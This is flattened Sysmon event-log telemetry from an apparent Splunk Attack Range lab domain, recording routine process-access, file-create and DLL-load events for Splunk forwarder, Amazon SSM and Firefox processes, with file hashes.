15:05:18.526{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.528{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.309{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A073689350923AD4FD0AE2179BF2A6C9,SHA256=B26EF2DC45A532106441252B1370B0141A0297157D1283DB4DC51A36F397A2F6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.308{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3D8A793F7D58816772A2857431B1EC21,SHA256=4657B6DA5C34804F52FEA07816FBDC0350111766309A34FC364551E59CBBC4CE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.158{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-060MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.089{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.089{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.089{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000017577Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:19.122{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=400F33F40690B5B70B0CD5711C4CDA0C,SHA256=A37D4F1697431259F5F36DC1E43F072E2D9D508419F4AA50F252A42A695306D7,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000054883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.658{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000054882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.641{7BD73061-742F-613B-910B-00000000F001}21323128C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.641{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.641{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000054879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.610{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\webappsstore.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.610{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\webappsstore.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.609{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\formhistory.sqlite-journalMD5=85D1C790BFF516F64F217D55DCBF0DFE,SHA256=9C289B842F47629980788DC8DB122DA2C4F29D4C02E8810729E39378E5FEB689,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.608{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\webappsstore.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.605{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\default\moz-extension+++6f514b55-68bb-482b-9172-7cf1a0bc3368^userContextId=4294967295\idb\3647222921wleabcEoxlt-eengsairo.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.589{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\webappsstore.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.573{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.557{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A073689350923AD4FD0AE2179BF2A6C9,SHA256=B26EF2DC45A532106441252B1370B0141A0297157D1283DB4DC51A36F397A2F6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.410{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.410{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.410{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.410{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.408{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.408{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.408{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.407{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 